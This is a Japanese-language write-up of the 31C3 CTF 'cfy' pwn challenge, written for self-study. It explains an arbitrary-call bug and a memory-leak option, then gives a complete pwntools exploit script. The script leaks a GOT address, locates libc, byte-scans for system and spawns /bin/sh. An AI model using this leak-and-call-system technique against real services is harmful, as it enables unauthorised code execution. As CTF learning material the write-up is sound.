31C3 CTF cfy

自習用に解きました。 writeupです。

問題概要

libcはついてないらしい

$ checksec cfy
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

起動すると

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

数値を入力して選択肢を実行出来る。
また、選択後、文字列を入力して各処理の引数として渡される。

脆弱性

選択肢として0 ~ 3以外の数値を指定することができ、任意のアドレスに飛ばすことが出来る。
この時func(input)という形で関数に好きな引数を1つ指定することが出来る。 また、2) parse from pointerでメモリの値を読み取ることが出来る。 メモリを読み取りによりsystemのアドレスを特定後、system(“/bin/sh”)を実行することが出来る。

エクスプロイト

今回はsystemのアドレスを特定する際、命令列の先頭8バイトに一致するものを探した。(libcが違う場合にうまくいくかわからない)
他のwriteupを見るとバージョンを特定してダウンロードしているものもあった。

以下がエクスプロイトになる。

from __future__ import print_function
from pwn import *

binary = './cfy'
p = process(binary)
elf = ELF(binary)
# p = remote('localhost', 1234)

out = lambda x: p.sendline(x)
# out = lambda x: print(x)

def hex2dec(v):
    out("0")
    out(str(v))

def dec2hex(v):
    out("1")
    out(str(v))

def from_ptr(ptr):
    out("2")
    out(p64(ptr))

def leak(addr):
    p.clean()
    from_ptr(addr)
    p.recvuntil('dec: ')
    data = p.recvuntil('\n').strip()
    data = p64(int(data) & 0x7fffffffffff)
    return data

def find_libc_base(addr):
    addr &= 0x7ffffffff000
    data = leak(addr)
    while not '\x7fELF' == data[:4]:
        addr -= 0x1000
        data = leak(addr)
    return addr

addr = u64(leak(elf.got['__libc_start_main']))
top = find_libc_base(addr)
print("libc_top: %s" % hex(top))

print("[+] search address of system")
addr_delta = 0x10
addr = top
data = 0
system_top = 0xfa86e90b74ff8548
while data != 'H\x85\xfft\x0bi\x00\x00':
    if not ('\x0a' in p64(addr) or '\x00' in p64(addr)[:-2]):
        data = leak(addr)
    addr += addr_delta

addr -= addr_delta
print(hex(addr))

# jmp to system
# system = libc.symbols['system']#0x7ffff7a7a450
system = addr
offset = (0x6010e0 + 0x10 - 0x601080) >> 4
hex2dec('\x00'*0x10 + p64(system))
out(str(offset))
out("/bin/sh")

p.interactive()